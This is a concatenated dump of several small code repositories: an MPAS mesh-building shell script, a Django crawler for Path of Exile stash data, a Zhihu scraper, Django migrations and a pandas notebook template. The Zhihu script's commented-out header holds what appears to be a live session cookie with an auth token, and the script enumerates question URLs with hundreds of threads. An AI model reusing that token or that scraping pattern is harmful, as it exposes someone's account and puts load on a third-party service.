public void onMessage(Message message) {
}
}
| 93daf2f56e935587f71124b861a671d78b31a989 | [
"Java",
"Text"
] | 2 | Text | wanghouhc/RabbitMQ-Demo | 8c21b125483ac81d9233fb355bb7e6ee73bab643 | adc0551a81f8509102d9957ca6ee6bb43ec9fd75 |
refs/heads/master | <repo_name>mark-petersen/jigsaw_to_MPAS<file_sep>/build_mesh.sh
#!/usr/bin/env bash
# Directs process to build MPAS mesh using JIGSAW
# <NAME> and <NAME>, 01/19/2018
# Last updated 4/20/2018
# user defined commands and paths:
MATLAB='matlab -nodesktop -nodisplay -nosplash -r '
MPASTOOLS='path/to/repo/MPAS-Tools'
JIGSAW='path/to/repo/jigsaw-geo-matlab'
# Mark's paths on grizzly, LANL IC
MPASTOOLS='/usr/projects/climate/mpeterse/repos/MPAS-Tools/jigsaw_to_MPAS'
JIGSAW='/usr/projects/climate/mpeterse/repos/jigsaw-geo-matlab/master'
MATLAB='octave --silent --eval '
# fill in longer paths, based on paths above:
JIGSAW2NETCDF=$MPASTOOLS/grid_gen/triangle_jigsaw_to_netcdf/
MESHCONVERTER=$MPASTOOLS/grid_gen/mesh_conversion_tools/MpasMeshConverter.x
CELLCULLER=$MPASTOOLS/grid_gen/mesh_conversion_tools/MpasCellCuller.x
VTKEXTRACTOR=$MPASTOOLS/python_scripts/paraview_vtk_field_extractor/paraview_vtk_field_extractor.py
# First argument to this shell script is the name of the mesh
MESHNAME=$1
if [ -f define_mesh/${MESHNAME}.m ]; then
echo "Starting workflow to build mesh from ${MESHNAME}.m"
else
echo "File define_mesh/${MESHNAME}.m does not exist."
echo "call using:"
echo " build_mesh.sh meshname"
echo "where meshname is from define_mesh/*.m, as follows:"
ls define_mesh
exit
fi
echo
echo 'Step 1. Build mesh using JIGSAW ...'
echo $MATLAB "driver_jigsaw_to_mpas('$MESHNAME')"
echo
$MATLAB "driver_jigsaw_to_mpas('$MESHNAME','$JIGSAW')"
echo 'done'
echo
echo 'Step 2. Convert triangles from jigsaw format to netcdf...'
cd generated_meshes/$MESHNAME
echo "triangle_jigsaw_to_netcdf.py -s -m ${MESHNAME}-MESH.msh -o ${MESHNAME}_triangles.nc"
$JIGSAW2NETCDF/triangle_jigsaw_to_netcdf.py -s -m ${MESHNAME}-MESH.msh -o ${MESHNAME}_triangles.nc
echo 'done'
echo
echo 'Step 3. Convert from triangles to MPAS mesh...'
echo "MpasMeshConverter.x ${MESHNAME}_triangles.nc ${MESHNAME}_base_mesh.nc"
$MESHCONVERTER ${MESHNAME}_triangles.nc ${MESHNAME}_base_mesh.nc
echo 'Injecting bathymetry ...'
ln -isf $JIGSAW/jigsaw/geo/topo.msh .
echo "inject_bathymetry.py ${MESHNAME}_base_mesh.nc"
$JIGSAW2NETCDF/inject_bathymetry.py ${MESHNAME}_base_mesh.nc
echo 'done'
echo
echo 'Step 4. (Optional) Create vtk file for visualization'
echo "paraview_vtk_field_extractor.py ${MESHNAME}_base_mesh.nc ${MESHNAME}_vtk"
$VTKEXTRACTOR --ignore_time -d maxEdges=0 -v allOnCells -f ${MESHNAME}_base_mesh.nc -o ${MESHNAME}_base_mesh_vtk
echo 'done'
echo
echo 'Step 5. (Optional) Cull land cells using topo.msh. This is a quick cull, not the method for a production mesh.'
echo "MpasCellCuller.x ${MESHNAME}_base_mesh.nc ${MESHNAME}_culled.nc"
$CELLCULLER ${MESHNAME}_base_mesh.nc ${MESHNAME}_culled.nc
echo 'Injecting bathymetry ...'
echo "inject_bathymetry.py ${MESHNAME}_culled.nc"
$JIGSAW2NETCDF/inject_bathymetry.py ${MESHNAME}_culled.nc
echo 'done'
echo
echo 'Step 6. (Optional) Create vtk file for visualization'
echo "paraview_vtk_field_extractor.py ${MESHNAME}_base_mesh.nc ${MESHNAME}_vtk"
$VTKEXTRACTOR --ignore_time -d maxEdges=0 -v allOnCells -f ${MESHNAME}_culled.nc -o ${MESHNAME}_culled_vtk
echo 'done'
| 5d0288d57aae4016e0a95793a007d8e22e9c7084 | [
"Shell"
] | 1 | Shell | mark-petersen/jigsaw_to_MPAS | f76cbcd3ac7a953b758d81786e26abfdf317c7b2 | 335aca212543f5a9df6aea9a46772a98ee8e18ca |
refs/heads/master | <repo_name>Alfredx/SCrawler<file_sep>/poe_tw_stash/crawler/stash_crawler.py
# -*- coding: utf-8 -*-
# author: ShenChao
from collections import deque
from threading import Thread, Lock
import datetime
import django
import json
import logging
import os
import requests
import sys
import time
import uuid
reload(sys)
sys.setdefaultencoding("utf-8")
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(BASE_DIR)
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "poe_tw_stash.settings")
if django.VERSION >= (1, 7):
django.setup()
from crawler.models import *
from django.db.utils import OperationalError
from django.core.cache import cache
BASE_URL = 'http://web.poe.garena.tw/api/public-stash-tabs'
NEXT_URL = BASE_URL + '/?id=%s'
STATE_STOP = 0
STATE_RUN = 1
request_worker_count = 0
request_worker_count_lock = Lock()
container = deque()
class RequestWorker(Thread):
def __init__(self, startnew=False):
super(RequestWorker, self).__init__()
self.state = STATE_STOP
if startnew:
self.first_next_id = '4431201-4506673-4532501'
else:
self.first_next_id = cache.get('poe_tw_stash_next_id')
if not self.first_next_id:
# start of essence league
self.first_next_id = '4431201-4506673-4532501'
# self.first_next_id = '5249772-5291470-5323025'
self.next_id = self.first_next_id
def stop(self):
self.state = STATE_STOP
def run(self):
self.state = STATE_RUN
global container
global request_worker_count
global request_worker_count_lock
while self.state == STATE_RUN:
res = requests.get(NEXT_URL % self.next_id).json()
next_change_id = res.get('next_change_id', self.first_next_id)
if not next_change_id or next_change_id == self.first_next_id:
logging.info('no new stashes')
request_worker_count_lock.acquire()
request_worker_count -= 1
request_worker_count_lock.release()
break
self.next_id = next_change_id
logging.info('next query id: %s' % next_change_id)
print('next query id: %s' % next_change_id)
cache.set('poe_tw_stash_next_id', self.next_id)
container.append(res.get('stashes', {}))
class RequestWorkerManager(Thread):
def __init__(self, startnew=False):
super(RequestWorkerManager, self).__init__()
self.last_create_time = 0
self.startnew = startnew
def run(self):
global request_worker_count
global request_worker_count_lock
request_worker = RequestWorker()
request_worker.start()
self.last_create_time = time.time()
request_worker_count_lock.acquire()
request_worker_count = 1
request_worker_count_lock.release()
while True:
# 10mins
if request_worker_count < 1 and (time.time() - self.last_create_time > 600):
request_worker = RequestWorker(startnew=True)
request_worker.start()
self.last_create_time = time.time()
request_worker_count_lock.acquire()
request_worker_count += 1
request_worker_count_lock.release()
logging.info('current request worker count: %d' %
request_worker_count)
print('current request worker count: %d' %
request_worker_count)
else:
time.sleep(10)
class ProcessWorker(Thread):
def __init__(self):
super(ProcessWorker, self).__init__()
self.state = STATE_STOP
def stop(self):
self.state = STATE_STOP
def run(self):
self.state = STATE_RUN
global container
while self.state == STATE_RUN:
try:
stashes = container.popleft()
logging.info(
'processing stashes, current stashes length: %d' % len(stashes))
print('processing stashes, current stashes length: %d' %
len(stashes))
item_list = []
for stash in stashes:
items = stash.get('items', '') # list
stashType = stash.get('stashType', '') # str
stash_tag = stash.get('stash', '') # str
accountName = stash.get('accountName', '') or '' # str
public = stash.get('public', '') # boolean
lastCharacterName = stash.get(
'lastCharacterName', '') # str
id = stash.get('id', '') # str
stash, created = Stash.objects.get_or_create(id=id)
stash.stashType = stashType
stash.stash = stash_tag
stash.accountName = accountName
stash.public = public
stash.lastCharacterName = lastCharacterName
stash.save()
for item in items:
if item['league'] == u'精髓聯盟': # ESC
storeItem, created = BasicItem.objects.get_or_create(id=item['id'])
for k, v in item.items():
try:
if k == 'league':
storeItem.league = BasicItem.toleague(v)
else:
setattr(storeItem, k, self.toStoreType(v))
except Exception, e:
logging.exception(e)
storeItem.save()
item_list.append(storeItem)
if item_list != []:
stash.items.clear()
stash.items.add(*item_list)
except IndexError, e:
time.sleep(0.1)
except OperationalError, e:
django.db.close_old_connections()
except Exception, e:
logging.exception(e)
def toStoreType(self, v):
if type(v) == type([]) or type(v) == type({}):
return json.dumps(v, ensure_ascii=False).encode('utf-8')
return v
if __name__ == '__main__':
request_manager = RequestWorkerManager(startnew=False)
request_manager.start()
for i in range(4):
process_worker = ProcessWorker()
process_worker.start()
# {u'socketedItems': [],
# u'corrupted': False,
# u'typeLine': u'瓦爾寶珠',
# u'talismanTier': 4,
# u'implicitMods': [u'增加 20% 敵人暈眩時間'],
# u'flavourText': [u'「對我們凡人來說,時間稍縱即逝;\r',
# u'我只是試著平衡罷了。」\r',
# u'- 女王首席預言者多里亞尼'],
# u'id': u'8dd44cd44e9d86f96ecfafc1ffd97d212da66dc412010b37c65ea0210c09526c',
# u'lockedToCharacter': False,
# u'verified': False,
# u'craftedMods': [u'+25 敏捷'],
# u'support': True,
# u'secDescrText': u'迅速穿越敵人並同時造成武器傷害。限定匕首、爪以及單手劍。',
# u'sockets': [],
# u'note': u'~price 11111111 exa',
# u'duplicated': True,
# u'frameType': 5,
# u'explicitMods': [u'腐化一件裝備並隨機修改其能力'],
# u'nextLevelRequirements': [{u'displayMode': 0, u'values': [[u'51',0]], u'name': u'等級'},
# {u'displayMode': 1, u'values': [[u'115',0]], u'name': u'智慧'}],
# u'additionalProperties': [{u'displayMode': 2, u'values': [[u'1 / 3231',0]],
# u'name': u'經驗值',
# u'progress': 0.000309501716401}],
# u'descrText': u'右鍵點擊此物品,再左鍵點擊一件物品來使其腐化。請注意,腐化過的物品無法再使用通貨改變其屬性。\n按住 Shift 點擊以分開堆疊',
# u'inventoryId': u'Stash1',
# u'requirements': [{u'displayMode': 0,
# u'values': [[u'8',0]],
# u'name': u'等級'},
# {u'displayMode': 1,
# u'values': [[u'18',0]], u'name': u'敏捷'}],
# u'properties': [{u'displayMode': 0,
# u'values': [[u'10 / 10',0]],
# u'name': u'堆疊數量'}],
# u'icon': u'http://tw.webcdn.pathofexile.com/image/Art/2DItems/Currency/CurrencyVaal.png?scale=1&stackSize=10&w=1&h=1&v=64114709d67069cd665f8f1a918cd12a3',
# u'league': u'標準模式',
# u'cosmeticMods': [u'使用 <<set:MS>><<set:M>><<set:S>>莫考之擁 造型'],
# u'artFilename': u'TheGambler',
# u'name': u'',
# u'enchantMods': [u'被擊中時在攻擊時附加怨恨之誓'],
# u'h': 1,
# u'identified': True,
# u'ilvl': 0,
# u'w': 1,
# u'y': 2,
# u'x': 2}
<file_sep>/main.py
# -*- coding: utf-8 -*-
# author: ShenChao
import cookielib
import re
import urllib
import urllib2
import threadPool
from multiprocessing import Pool, Process
import time
import os
import requests
def get_zhihu_min_qid(i, *args, **kwargs):
user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36'
values = {}
data = urllib.urlencode(values)
headers = {
'User-Agent': user_agent,
'Referer': 'www.zhihu.com',
# 'Cookie:': '_za=43d95061-7c27-49f5-83d1-e39475d8c69f; _xsrf=62052201602318af3d8a5836b3b4fc6e; udid="ADAAwFgDlQmPTp-FsLaaq7ZsGB8_XF_dzu8=|1457502030"; d_c0="AECAB23ioQmPTgK689KjKJHccj1h9L4P-Hs=|1458262705"; cap_id="ZTc0YmU0MWEyM2RhNDU1NWJmOWJmYjU2MGMwYzQyMzg=|1458287762|30d0791d11e737d4f2b277fbafc59d6da0120aca"; z_c0="QUFCQXVzWWNBQUFYQUFBQVlRSlZUWmRCRTFjbDF5YUk1LVpEN0lRRnFMekVFbmtxWjRrcXZnPT0=|1458287767|551c5d728d385cd734144567e781ef42faa15ac9"; q_c1=7d096660be42428f81d2495690cabeab|1458781139000|1445221549000; __utmt=1; __utma=51854390.37124741.1458810574.1458869191.1458872304.3; __utmb=51854390.3.9.1458874466876; __utmc=51854390; __utmz=51854390.1458705672.2.2.utmcsr=zhihu.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmv=51854390.100-1|2=registration_date=20130801=1^3=entry_date=20130801=1',
}
url = 'http://zhihu.com/question/'
while True:
i += 1
try:
# if i%1000 == 0:
# print('task_seq %d: current id is %d\n'%(kwargs['task_seq'], i*kwargs['task_total']+kwargs['task_seq']))
request = urllib2.Request('%s%d'%(url,(i*kwargs['task_total']+kwargs['task_seq'])), data, headers)
response = urllib2.urlopen(request)
plainHTML = response.read().decode('utf-8')
print('the first question id is %d'%(i*kwargs['task_total']+kwargs['task_seq']))
f = open('./zhihu_min_qid', 'a')
f.write('the first question id is %d\n'%(i*kwargs['task_total']+kwargs['task_seq']))
f.flush()
f.close()
break
except Exception, e:
continue
return False
def runThreadTask(i):
pool = threadPool.ThreadPool()
pool.startTask(get_zhihu_min_qid, workers=400, func_args=(i,))
print('%d %s'%(os.getpid(),'all started'))
while True:
time.sleep(10)
def get_url_content(url):
res = requests.get(url)
# print(res.json())
return res.json()
def test(i):
f = open('./zhihu_min_qid', 'a')
f.writelines('123')
f.flush()
f.close()
print i*i
if __name__ == '__main__':
# print(os.getpid())
# pool = Pool(processes=8)
# pool.map(runThreadTask, range(0, 50000, 6250))
# get_zhihu_min_qid(41483147, task_total=1,task_seq=0)
jobj = get_url_content('http://ip.taobao.com/service/getIpInfo.php?ip=172.16.17.32')
print(jobj['data']['city'] == u'南京市')
print(jobj['data']['region'] == u'江苏省')
{
u'code': 0,
u'data': {
u'ip': u'172.16.17.32',
u'city': u'\u5357\u4eac\u5e02',
u'area_id': u'300000',
u'region_id': u'320000',
u'area': u'\u534e\u4e1c',
u'city_id': u'320100',
u'country': u'\u4e2d\u56fd',
u'region': u'\u6c5f\u82cf\u7701',
u'isp': u'\u7535\u4fe1',
u'country_id': u'CN',
u'county': u'',
u'isp_id':
u'100017',
u'county_id': u'-1'
}
}<file_sep>/poe_tw_stash/crawler/migrations/0002_auto_20161008_1633.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('crawler', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='BasicItem',
fields=[
('socketedItems', models.TextField(default=b'')),
('corrupted', models.BooleanField(default=False)),
('typeLine', models.TextField(default=b'')),
('talismanTier', models.IntegerField(default=-1)),
('flavourText', models.TextField(default=b'')),
('id', models.CharField(default=b'', max_length=128, serialize=False, primary_key=True)),
('lockedToCharacter', models.BooleanField(default=False)),
('verified', models.BooleanField(default=False)),
('support', models.BooleanField(default=False)),
('secDescrText', models.TextField(default=b'')),
('sockets', models.TextField(default=b'')),
('duplicated', models.TextField(default=True)),
('frameType', models.TextField(default=-1)),
('nextLevelRequirements', models.TextField(default=b'')),
('descrText', models.TextField(default=b'')),
('inventoryId', models.CharField(default=b'', max_length=64)),
('icon', models.TextField(default=b'')),
('league', models.IntegerField(default=0, choices=[(0, '\u6a19\u6e96\u6a21\u5f0f'), (1, '\u5c08\u5bb6\u6a21\u5f0f'), (2, '\u7cbe\u9ad3\u806f\u76df'), (3, '\u7cbe\u9ad3\u806f\u76df\uff08\u5c08\u5bb6\uff09')])),
('artFilename', models.TextField(default=b'')),
('name', models.CharField(default=b'', max_length=64)),
('identified', models.BooleanField(default=False)),
('h', models.IntegerField(default=-1)),
('w', models.IntegerField(default=-1)),
('x', models.IntegerField(default=-1)),
('y', models.IntegerField(default=-1)),
('z', models.IntegerField(default=-1)),
('requirements', models.TextField(default=b'')),
('ilvl', models.IntegerField(default=-1)),
('properties', models.TextField(default=b'')),
('additionalProperties', models.TextField(default=b'')),
('craftedMods', models.TextField(default=b'')),
('implicitMods', models.TextField(default=b'')),
('explicitMods', models.TextField(default=b'')),
('cosmeticMods', models.TextField(default=b'')),
('enchantMods', models.TextField(default=b'')),
('note', models.TextField(default=b'')),
],
),
migrations.CreateModel(
name='Stash',
fields=[
('stashType', models.CharField(default=b'', max_length=128)),
('stash', models.CharField(default=b'', max_length=128)),
('accountName', models.CharField(default=b'', max_length=128)),
('public', models.BooleanField(default=True)),
('lastCharacterName', models.CharField(default=b'', max_length=128)),
('id', models.CharField(default=b'', max_length=128, serialize=False, primary_key=True)),
('items', models.ManyToManyField(related_name='item_stash', to='crawler.BasicItem')),
],
),
migrations.DeleteModel(
name='EssenceHardcoreItem',
),
migrations.DeleteModel(
name='EssenceItem',
),
migrations.DeleteModel(
name='StandardHardcoreItem',
),
migrations.DeleteModel(
name='StandardItem',
),
]
<file_sep>/poe_tw_stash/crawler/models.py
# -*- coding: utf-8 -*-
# author: ShenChao
from django.db import models
class AbstractTable(models.Model):
create_date = models.DateTimeField(auto_now_add=True)
write_date = models.DateTimeField(auto_now=True)
class Meta:
abstract = True
class Stash(AbstractTable):
stashType = models.CharField(max_length=128, default='', null=True)
stash = models.CharField(max_length=128, default='', null=True)
accountName = models.CharField(max_length=128, default='', null=True)
public = models.BooleanField(default=True)
lastCharacterName = models.CharField(max_length=128, default='')
id = models.CharField(max_length=128, default='', primary_key=True)
items = models.ManyToManyField('BasicItem', related_name='item_stash')
class BasicItem(AbstractTable):
league_choice = ((0, u'標準模式'),
(1, u'專家模式'),
(2, u'精髓聯盟'),
(3, u'精髓聯盟(專家)'),)
socketedItems = models.TextField(default='')
corrupted = models.BooleanField(default=False)
typeLine = models.TextField(default='')
talismanTier = models.IntegerField(default=-1)
flavourText = models.TextField(default='')
id = models.CharField(max_length=128, default='', primary_key=True)
lockedToCharacter = models.BooleanField(default=False)
verified = models.BooleanField(default=False)
support = models.BooleanField(default=False)
secDescrText = models.TextField(default='')
sockets = models.TextField(default='')
duplicated = models.TextField(default=True)
frameType = models.TextField(default=-1)
nextLevelRequirements = models.TextField(default='')
descrText = models.TextField(default='')
inventoryId = models.CharField(default='', max_length=64)
icon = models.TextField(default='')
league = models.IntegerField(choices=league_choice, default=0)
artFilename = models.TextField(default='')
name = models.CharField(default='', max_length=64)
identified = models.BooleanField(default=False)
h = models.IntegerField(default=-1)
w = models.IntegerField(default=-1)
x = models.IntegerField(default=-1)
y = models.IntegerField(default=-1)
z = models.IntegerField(default=-1)
requirements = models.TextField(default='')
ilvl = models.IntegerField(default=-1)
properties = models.TextField(default='')
additionalProperties = models.TextField(default='')
craftedMods = models.TextField(default='')
implicitMods = models.TextField(default='')
explicitMods = models.TextField(default='')
cosmeticMods = models.TextField(default='')
enchantMods = models.TextField(default='')
note = models.TextField(default='')
@classmethod
def toleague(self, s):
l = [u'標準模式', u'專家模式', u'精髓聯盟', u'精髓聯盟(專家)']
try:
return l.index(s)
except Exception, e:
return 0
<file_sep>/threadPool.py
# -*- coding: utf-8 -*-
# author: ShenChao
import uuid
from threading import Thread, Lock
class Worker(Thread):
STATE_STOP = 0
STATE_RUN = 1
def __init__(self, pool):
super(Worker, self).__init__()
self.state = self.STATE_STOP
self.id = str(uuid.uuid4())
self.pool = pool
self.func = None
self.loops = 0
self.func_args = ()
self.func_kwargs = {}
def set(self, func, loops, *args, **kwargs):
self.func = func
self.loops = loops
self.func_args = args
self.func_kwargs = kwargs
def stop(self):
self.state = self.STATE_STOP
def run(self):
self.state = self.STATE_RUN
loop_count = 0
while self.state == self.STATE_RUN:
if not self.func(*self.func_args, **self.func_kwargs):
break
if self.loops != 0 and loop_count >= self.loops:
break
class ThreadPool(object):
"""docstring for ThreadPool"""
def __init__(self, initNum=0):
super(ThreadPool, self).__init__()
self.pool = {}
self.initNum = initNum
def startTask(self, func, workers=1, loops=0, func_args=(), func_kwargs={}):
for i in range(workers):
new_workder = Worker(self)
self.pool[new_workder.id] = new_workder
func_kwargs['task_seq'] = i
func_kwargs['task_total'] = workers
new_workder.set(func, loops, *func_args, **func_kwargs)
new_workder.start()
<file_sep>/poe_tw_stash/crawler/migrations/0001_initial.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='EssenceHardcoreItem',
fields=[
('socketedItems', models.TextField(default=b'')),
('corrupted', models.BooleanField(default=False)),
('typeLine', models.TextField(default=b'')),
('talismanTier', models.IntegerField(default=-1)),
('flavourText', models.TextField(default=b'')),
('id', models.CharField(default=b'', max_length=128, serialize=False, primary_key=True)),
('lockedToCharacter', models.BooleanField(default=False)),
('verified', models.BooleanField(default=False)),
('support', models.BooleanField(default=False)),
('secDescrText', models.TextField(default=b'')),
('sockets', models.TextField(default=b'')),
('duplicated', models.TextField(default=True)),
('frameType', models.TextField(default=-1)),
('nextLevelRequirements', models.TextField(default=b'')),
('descrText', models.TextField(default=b'')),
('inventoryId', models.CharField(default=b'', max_length=64)),
('icon', models.TextField(default=b'')),
('league', models.CharField(default=b'', max_length=16)),
('artFilename', models.TextField(default=b'')),
('name', models.CharField(default=b'', max_length=64)),
('identified', models.BooleanField(default=False)),
('h', models.IntegerField(default=-1)),
('w', models.IntegerField(default=-1)),
('x', models.IntegerField(default=-1)),
('y', models.IntegerField(default=-1)),
('z', models.IntegerField(default=-1)),
('requirements', models.TextField(default=b'')),
('ilvl', models.IntegerField(default=-1)),
('properties', models.TextField(default=b'')),
('additionalProperties', models.TextField(default=b'')),
('craftedMods', models.TextField(default=b'')),
('implicitMods', models.TextField(default=b'')),
('explicitMods', models.TextField(default=b'')),
('cosmeticMods', models.TextField(default=b'')),
('enchantMods', models.TextField(default=b'')),
('note', models.TextField(default=b'')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='EssenceItem',
fields=[
('socketedItems', models.TextField(default=b'')),
('corrupted', models.BooleanField(default=False)),
('typeLine', models.TextField(default=b'')),
('talismanTier', models.IntegerField(default=-1)),
('flavourText', models.TextField(default=b'')),
('id', models.CharField(default=b'', max_length=128, serialize=False, primary_key=True)),
('lockedToCharacter', models.BooleanField(default=False)),
('verified', models.BooleanField(default=False)),
('support', models.BooleanField(default=False)),
('secDescrText', models.TextField(default=b'')),
('sockets', models.TextField(default=b'')),
('duplicated', models.TextField(default=True)),
('frameType', models.TextField(default=-1)),
('nextLevelRequirements', models.TextField(default=b'')),
('descrText', models.TextField(default=b'')),
('inventoryId', models.CharField(default=b'', max_length=64)),
('icon', models.TextField(default=b'')),
('league', models.CharField(default=b'', max_length=16)),
('artFilename', models.TextField(default=b'')),
('name', models.CharField(default=b'', max_length=64)),
('identified', models.BooleanField(default=False)),
('h', models.IntegerField(default=-1)),
('w', models.IntegerField(default=-1)),
('x', models.IntegerField(default=-1)),
('y', models.IntegerField(default=-1)),
('z', models.IntegerField(default=-1)),
('requirements', models.TextField(default=b'')),
('ilvl', models.IntegerField(default=-1)),
('properties', models.TextField(default=b'')),
('additionalProperties', models.TextField(default=b'')),
('craftedMods', models.TextField(default=b'')),
('implicitMods', models.TextField(default=b'')),
('explicitMods', models.TextField(default=b'')),
('cosmeticMods', models.TextField(default=b'')),
('enchantMods', models.TextField(default=b'')),
('note', models.TextField(default=b'')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='StandardHardcoreItem',
fields=[
('socketedItems', models.TextField(default=b'')),
('corrupted', models.BooleanField(default=False)),
('typeLine', models.TextField(default=b'')),
('talismanTier', models.IntegerField(default=-1)),
('flavourText', models.TextField(default=b'')),
('id', models.CharField(default=b'', max_length=128, serialize=False, primary_key=True)),
('lockedToCharacter', models.BooleanField(default=False)),
('verified', models.BooleanField(default=False)),
('support', models.BooleanField(default=False)),
('secDescrText', models.TextField(default=b'')),
('sockets', models.TextField(default=b'')),
('duplicated', models.TextField(default=True)),
('frameType', models.TextField(default=-1)),
('nextLevelRequirements', models.TextField(default=b'')),
('descrText', models.TextField(default=b'')),
('inventoryId', models.CharField(default=b'', max_length=64)),
('icon', models.TextField(default=b'')),
('league', models.CharField(default=b'', max_length=16)),
('artFilename', models.TextField(default=b'')),
('name', models.CharField(default=b'', max_length=64)),
('identified', models.BooleanField(default=False)),
('h', models.IntegerField(default=-1)),
('w', models.IntegerField(default=-1)),
('x', models.IntegerField(default=-1)),
('y', models.IntegerField(default=-1)),
('z', models.IntegerField(default=-1)),
('requirements', models.TextField(default=b'')),
('ilvl', models.IntegerField(default=-1)),
('properties', models.TextField(default=b'')),
('additionalProperties', models.TextField(default=b'')),
('craftedMods', models.TextField(default=b'')),
('implicitMods', models.TextField(default=b'')),
('explicitMods', models.TextField(default=b'')),
('cosmeticMods', models.TextField(default=b'')),
('enchantMods', models.TextField(default=b'')),
('note', models.TextField(default=b'')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='StandardItem',
fields=[
('socketedItems', models.TextField(default=b'')),
('corrupted', models.BooleanField(default=False)),
('typeLine', models.TextField(default=b'')),
('talismanTier', models.IntegerField(default=-1)),
('flavourText', models.TextField(default=b'')),
('id', models.CharField(default=b'', max_length=128, serialize=False, primary_key=True)),
('lockedToCharacter', models.BooleanField(default=False)),
('verified', models.BooleanField(default=False)),
('support', models.BooleanField(default=False)),
('secDescrText', models.TextField(default=b'')),
('sockets', models.TextField(default=b'')),
('duplicated', models.TextField(default=True)),
('frameType', models.TextField(default=-1)),
('nextLevelRequirements', models.TextField(default=b'')),
('descrText', models.TextField(default=b'')),
('inventoryId', models.CharField(default=b'', max_length=64)),
('icon', models.TextField(default=b'')),
('league', models.CharField(default=b'', max_length=16)),
('artFilename', models.TextField(default=b'')),
('name', models.CharField(default=b'', max_length=64)),
('identified', models.BooleanField(default=False)),
('h', models.IntegerField(default=-1)),
('w', models.IntegerField(default=-1)),
('x', models.IntegerField(default=-1)),
('y', models.IntegerField(default=-1)),
('z', models.IntegerField(default=-1)),
('requirements', models.TextField(default=b'')),
('ilvl', models.IntegerField(default=-1)),
('properties', models.TextField(default=b'')),
('additionalProperties', models.TextField(default=b'')),
('craftedMods', models.TextField(default=b'')),
('implicitMods', models.TextField(default=b'')),
('explicitMods', models.TextField(default=b'')),
('cosmeticMods', models.TextField(default=b'')),
('enchantMods', models.TextField(default=b'')),
('note', models.TextField(default=b'')),
],
options={
'abstract': False,
},
),
]
| bf9edf56a5b9c9876e636a5e14009ec05f8e1d36 | [
"Python"
] | 6 | Python | Alfredx/SCrawler | ca65a0141086a9097a1f189275dd17c654278699 | eedba5b27be7e31080721ec97db281053ceb9ee4 |
refs/heads/master | <file_sep>rootProject.name = 'towersofhanoi'
<file_sep>To run this program:
```bash
./gradlew run
```<file_sep>package com.williamliu8
fun main() {
print("Hello <NAME>!")
} | 7ec5e25dd4b54f2b7f7f21ec75de2904a728b452 | [
"Markdown",
"Kotlin",
"Gradle"
] | 3 | Gradle | sefthuko/towersofhanoi | 8183e3aa63be80868ad9980283e0a40d65e404b8 | 6265533396891b0185b7f461340d1124045eb7ed |
refs/heads/main | <file_sep># *************************************************
# HEADER
# *************************************************
# -*- coding: utf-8 -*-
"""
Filename: name_iteration_keyword.ipynb
Author: <NAME>
Phone: (210) 236-2685
Email: <EMAIL>
Created: January 00, 2020
Updated: January 00, 2020
PURPOSE: describe the purpose of this script.
PREREQUISITES: list any prerequisites or
assumptions here.
DON'T FORGET TO:
1. Action item.
2. Another action item.
3. Last action item.
"""
# *************************************************
# ENVIRONMENT
# *************************************************
# for reading files from the local machine
import os
# for manipulating dataframes
import pandas as pd
import numpy as np
# natural language processing
import re
import unicodedata
import nltk
nltk.download('stopwords')
nltk.download('wordnet')
from nltk.corpus import stopwords
# add appropriate words that will be ignored in the analysis
ADDITIONAL_STOPWORDS = ['campaign']
# visualization
%matplotlib inline
import matplotlib.pyplot as plt
import seaborn as sns
# to print out all the outputs
from IPython.core.interactiveshell import InteractiveShell
InteractiveShell.ast_node_interactivity = "all"
# to print out all the columns and rows
pd.set_option('display.max_columns', None)
pd.set_option('display.max_rows', None)
# *************************************************
# BASIC CLEAN
# *************************************************
def clean(text):
"""
A simple function to clean up the data. All the words that
are not designated as a stop word is then lemmatized after
encoding and basic regex parsing are performed.
"""
wnl = nltk.stem.WordNetLemmatizer()
stopwords = nltk.corpus.stopwords.words('english') + ADDITIONAL_STOPWORDS
text = (unicodedata.normalize('NFKD', text)
.encode('ascii', 'ignore')
.decode('utf-8', 'ignore')
.lower())
words = re.sub(r'[^\w\s]', '', text).split()
return [wnl.lemmatize(word) for word in words if word not in stopwords]
# *************************************************
# DISPLAY MISSING VALUES
# *************************************************
def missing_values_col(df):
"""
Write or use a previously written function to return the
total missing values and the percent missing values by column.
"""
null_count = df.isnull().sum()
null_percentage = (null_count / df.shape[0]) * 100
empty_count = pd.Series(((df == ' ') | (df == '')).sum())
empty_percentage = (empty_count / df.shape[0]) * 100
nan_count = pd.Series(((df == 'nan') | (df == 'NaN')).sum())
nan_percentage = (nan_count / df.shape[0]) * 100
return pd.DataFrame({'num_missing': null_count, 'missing_percentage': null_percentage,
'num_empty': empty_count, 'empty_percentage': empty_percentage,
'nan_count': nan_count, 'nan_percentage': nan_percentage})
# *************************************************
# READ CSV FILE
# *************************************************
df = pd.read_csv('../data/campaign_nlp.csv')
# *************************************************
# READ EXCEL FILE
# *************************************************
df = pd.read_excel('../data/campaign_nlp.xlsx')
# *************************************************
# READ ALL FILES WITHIN A FOLDER
# *************************************************
def read_data(input_folder):
'''
This function reads each the raw data files as dataframes and
combines them into a single data frame.
'''
for i, file_name in enumerate(os.listdir(input_folder)):
try:
# df = pd.read_excel(os.path.join(input_folder, file_name))
df = pd.read_csv(os.path.join(input_folder, file_name))
df['file_name'] = file_name
if i == 0:
final_df = df.copy()
else:
final_df = final_df.append(df)
except Exception as e:
print(f"Cannot read file: {file_name}")
print(str(e))
return final_df
input_folder = 'G:/path/to/data/parent_folder_name'
input_df = read_data(input_folder)
# *************************************************
# DISPLAY THE FIRST AND LAST 5 ROWS OF A DATAFRAME
# *************************************************
df.head()
df.tail()
# *************************************************
# DISPLAY THE FIRST 10 ITEMS OF A LIST
# *************************************************
my_list[:10]
# *************************************************
# USE ILOC TO SELECT ROWS
# *************************************************
# Single selections using iloc and DataFrame
# Rows:
